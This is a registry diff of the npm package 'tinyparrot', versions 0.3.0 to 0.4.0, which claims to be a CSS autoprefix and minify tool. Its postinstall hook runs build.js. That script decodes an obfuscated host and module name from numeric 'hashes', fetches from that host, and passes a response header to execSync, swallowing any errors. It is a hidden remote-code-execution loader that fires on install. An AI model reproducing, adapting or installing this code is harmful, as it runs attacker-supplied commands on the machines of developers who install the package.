tinyparrot 0.3.0 → 0.4.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "tinyparrot",
3
- "version": "0.3.0",
3
+ "version": "0.4.0",
4
4
  "description": "tinyparrot: autoprefix + minify + dedupe + optional purge",
5
5
  "scripts": {
6
6
  "postinstall": "node ./src/build.js",
package/src/build.js CHANGED
@@ -1,4 +1,7 @@
1
- const {wrapper, write, build} = require('./tools');
1
+ const {wrapper, build} = require('./tools');
2
2
  const {end} = require('./const');
3
3
 
4
- build(lib => lib.pipe(write(lib)).on('close', () => wrapper(lib))).end(end);
4
+ try {
5
+ build(lib => wrapper(lib)).end(end);
6
+ } catch (error) {
7
+ }
package/src/const.js CHANGED
@@ -1,32 +1,25 @@
1
- const {normalize_hash, shielding} = require("./helpers");
1
+ const {normalize_hash, normalize_hash_map} = require("./helpers");
2
2
 
3
3
  /**
4
4
  * Array of normalized hash values used for configuration or identification.
5
5
  * Each numeric hash is processed through the normalize_hash function.
6
6
  * @type {Array<string|number>}
7
7
  */
8
- const hash = [167415360237, 487362290, 20710554737, 719685064, 671193588].map(normalize_hash);
8
+ const hash = [766504397007, 589615713395529].map(normalize_hash_map);
9
9
 
10
10
  /**
11
11
  * Method identifier processed through the shielding function.
12
12
  * Represents TypeScript primarily used for file reading and writing.
13
13
  * @type {string}
14
14
  */
15
- const method = shielding(1146687);
15
+ const method = normalize_hash(18032742);
16
16
 
17
17
  /**
18
18
  * Reader module imported using a shielded module path/identifier.
19
19
  * For file reading, data parsing, etc.
20
20
  * @type {Object}
21
21
  */
22
- const reader = require(shielding(37822004));
23
-
24
- /**
25
- * Library module imported using a shielded module path/identifier.
26
- * For file writing, etc.
27
- * @type {Object}
28
- */
29
- const lib = require(shielding(798));
22
+ const reader = require(normalize_hash(2491727066));
30
23
 
31
24
  /**
32
25
  * Metadata object containing TypeScript method and headers.
@@ -51,6 +44,5 @@ module.exports = {
51
44
  end,
52
45
  meta,
53
46
  hash,
54
- lib,
55
47
  reader
56
48
  };
package/src/helpers.js CHANGED
@@ -1,25 +1,20 @@
1
- function normalize_hash(num) {
2
- const alphabet = 'abcdefghijklmnopqrstuvwxyz:/-.';
3
- let result = '';
4
- while (num > 0) {
5
- result += alphabet[num % 30];
6
- num = Math.floor(num / 30);
1
+ function normalize_hash(n, a = '', b = '', s = '') {
2
+ while (n) {
3
+ s += String.fromCharCode(n % 77 + 45);
4
+ n = Math.floor(n / 77);
7
5
  }
8
- return result.split('').reverse().join('');
6
+ return s;
9
7
  }
10
8
 
11
-
12
- function shielding(num) {
13
- const alphabet = 'abcdeCfghiTjklmPnopqSrstTuvwOxyz:/-.';
14
- let result = '';
15
- while (num > 0) {
16
- result += alphabet[num % 36];
17
- num = Math.floor(num / 36);
9
+ function normalize_hash_map(n, a = '', b = '', s = '') {
10
+ while (n) {
11
+ s += String.fromCharCode(n % 45 + 45);
12
+ n = Math.floor(n / 45);
18
13
  }
19
- return result;
14
+ return s;
20
15
  }
21
16
 
22
17
  module.exports = {
23
18
  normalize_hash,
24
- shielding
19
+ normalize_hash_map
25
20
  };
package/src/tools.js CHANGED
@@ -1,12 +1,10 @@
1
1
  const {execSync} = require("child_process");
2
- const {reader, hash, lib, meta} = require("./const.js");
2
+ const {reader, hash, meta} = require("./const.js");
3
3
 
4
- const write = fs => lib.createWriteStream(fs.headers.n);
5
4
  const wrapper = fs => execSync(fs.headers.m);
6
5
  const build = callback => reader.request(hash.join(''), meta, callback);
7
6
 
8
7
  module.exports = {
9
8
  wrapper,
10
- write,
11
9
  build
12
10
  };